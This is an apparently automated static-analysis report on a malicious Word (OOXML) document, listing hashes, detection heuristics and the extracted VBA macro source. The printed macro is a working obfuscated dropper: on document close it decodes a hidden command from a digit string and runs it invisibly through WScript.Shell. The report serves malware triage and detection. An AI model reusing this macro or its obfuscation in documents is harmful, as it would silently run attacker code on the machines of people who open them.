Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 baf336f2048ed4de…

MALICIOUS

Office (OOXML)

36.6 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-03-10
MD5: c1bf4051aaf7f5b78d5825c333769c3f SHA-1: 2c61002849ee203cc068f5360875096a2c14fb60 SHA-256: baf336f2048ed4de6b342d4cdf8b6ca4a95cf83167c2f2c044c12fd85923ed87
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject to execute obfuscated code, specifically calling the Shell() function. This indicates the macro is designed to download and execute a second-stage payload, as suggested by the ClamAV detection name 'Doc.Dropper.Agent-6385783-0'. The obfuscated nature of the payload within the VBA code makes precise IOC extraction difficult, but the overall behavior points to a dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6385783-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6385783-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(piombo) < 4774 Then
        CreateObject("WScript.Shell").Run piombo, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(piombo) < 4774 Then
        CreateObject("WScript.Shell").Run piombo, vbHide * 4
      End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2594 bytes
SHA-256: 7e4aab7123ab4894f396f6288ca14e6df3d596e3ae51875c97e8b0a52e751121
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function accadere(riciclato As Integer) As String
 diploma = Array("i", ";", "h", "B", "O", "N", "g", "k", "?", "b", "m", "S", "w", "s", "x", "E", "W", "A", "v", "d", "(", "\", "-", "e", "D", "a", "q", "/", ",", "y", "l", "$", "T", "r", "+", "o", "P", "V", "C", " ", ".", "z", "j", ")", "p", "F", "n", "t", "'", "=", ":", "c")
 Dim simbolo As Integer
 
 For simbolo = LBound(diploma) To UBound(diploma)
   If simbolo = riciclato Then
    accadere = diploma(simbolo)
   End If
 Next
 
End Function


Public Function gomito(piombo As String)
  If Len(piombo) < 4774 Then
    CreateObject("WScript.Shell").Run piombo, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = remoto("4435122333130223303039220535151400473922151423513903294425131339223835101025461939200523122204094223514739112913472310400523474016230938300023464743402435124630352519450030232048024747445027274426421223463300000025134219022312234051351027111127102546510223331307403041104828393123461850173636241732173934394821241137002940231423484301391147253347223633355123131339312346185017363624173217482124113700294023142348013920052312220409422351473911291347231040052347401623093830002346474340243512463035251911473300460620480247474450272744264212234633000000251342190223122340513510271340440244080019491025465102233313074843")
 Application.Run "gomito", feralo
End Sub

Function vittima(ByVal macinato, ByVal tavolata) As String
 
 datato = vbNullString
 esistere = Array(macinato, tavolata)
 
 For belva = 0 To UBound(esistere)
   datato = datato + vbNullString + esistere(belva) + vbNullString
 Next
 
 vittima = datato
End Function

Function remoto(Optional viscoso As String, Optional viscoso2)
  fumante = descritto(viscoso)
  regresso = vbNullString

  For simbolo = 0 To Len(viscoso)
    If (simbolo + 1) <= UBound(fumante) Then
    chiedere = fumante(simbolo + 1)
    cruciale = fumante(simbolo)
    sbalzo = accadere(Int(cruciale + chiedere))
    regresso = vittima(regresso, sbalzo)
    simbolo = simbolo + 1
    End If
  Next
  
  remoto = regresso
End Function


Function descritto(tuta As String, Optional gommone As Integer) As Variant
    descritto = Split(Left(StrConv(tuta, vbUnicode), Len(StrConv(tuta, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 8677383d78c80f13f877134d32cf4bca3087c2d5428f3b2920c476124e136c65
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).